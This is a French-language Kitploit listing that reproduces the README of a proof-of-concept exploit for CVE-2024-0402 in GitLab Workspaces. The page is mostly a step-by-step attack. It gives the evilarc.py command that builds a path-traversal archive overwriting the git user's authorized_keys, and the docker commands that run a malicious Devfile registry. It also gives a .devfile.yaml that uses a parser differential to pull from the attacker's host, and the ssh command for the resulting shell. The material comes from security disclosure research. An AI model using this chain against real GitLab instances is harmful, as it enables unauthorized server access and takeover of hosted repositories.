Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
malicious-devfile-registry — Exploit CVE-2024-0402 pour GitLab Workspaces utilisant un registre Devfile malveillant avec une archive de path traversal pour écraser authorized_keys et obtenir un accès SSH. | Kitploit
Outils/GitHubGitHub/doyensec/malicious-devfile-registry
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité de la Chaîne LogistiqueRed Teaming
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

Exploit CVE-2024-0402 pour GitLab Workspaces utilisant un registre Devfile malveillant avec une archive de path traversal pour écraser authorized_keys et obtenir un accès SSH.

Voir le dépôtSite web
1559il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Registre Devfile Malveillant

Ce projet contient un registre Devfile malveillant utilisable pour exploiter CVE-2024-0402 dans Gitlab.

L'exploit

Un stack nodejs:2.2.1 est indexé pour exposer le fichier archive.tar exploitant le problème de path-traversal dans la bibliothèque registry-support avant v1.1.0.

Emplacement du tar : malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

Il a été créé en utilisant evilarc.py pour écraser le fichier /var/opt/gitlab/.ssh/authorized_keys sur le serveur Gitlab cible avec les clés SSH du dossier ssh-keys/ de ce dépôt.

python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

Une fois en fonctionnement, le registre aura le fichier .tar malveillant ajouté aux stacks récupérables. Voir le fichier index.json qui l'énumère parmi les ressources du stack :

...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

Étapes de reproduction

Configurez une instance Gitlab EE avec une version <=16.8.0. Activez les Workspaces sur celle-ci en suivant la documentation et les notes supplémentaires dans notre article dédié de la série !exploitable.

Lorsque vous êtes prêt, suivez les étapes ci-dessous :

  1. Exécutez docker build -t devfile-index . à la racine de ce dépôt pour construire l'image du conteneur du registre

  2. Exécutez docker run -d -p 5000:5000 --name local-registrypoc registry:2 pour lancer un registre de conteneurs local qui sera utilisé par le registre Devfile pour stocker le stack. Remarque : vous devez modifier la commande pour l'exposer selon vos besoins. Pour nous, tout se passait dans un environnement local

  3. Exécutez docker run --network host devfile-index pour démarrer le registre Devfile malveillant construit à l'étape 1. Remarque : Comme précédemment, modifiez la commande d'exécution comme vous le souhaitez pour la rendre accessible par l'instance Gitlab

  4. Authentifiez-vous en tant que développeur sur le serveur Gitlab cible, puis modifiez le fichier .devfile.yaml d'un dépôt que vous contrôlez. Le YAML doit exploiter le différentiel d'analyseur syntaxique pour permettre la récupération depuis le registre malveillant

schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. Pour déclencher l'écriture de fichier dans l'interface Gitlab, démarrez simplement un nouveau Workspace dans le dépôt modifié. Après quelques secondes, l'écriture arbitraire de fichier devrait se produire et ssh-keys/pockey.pub sera ajouté au fichier authorized_keys de l'utilisateur git

  2. Vous devriez pouvoir bénéficier d'un shell sans restriction en tant que git avec

ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
Télécharger l’outil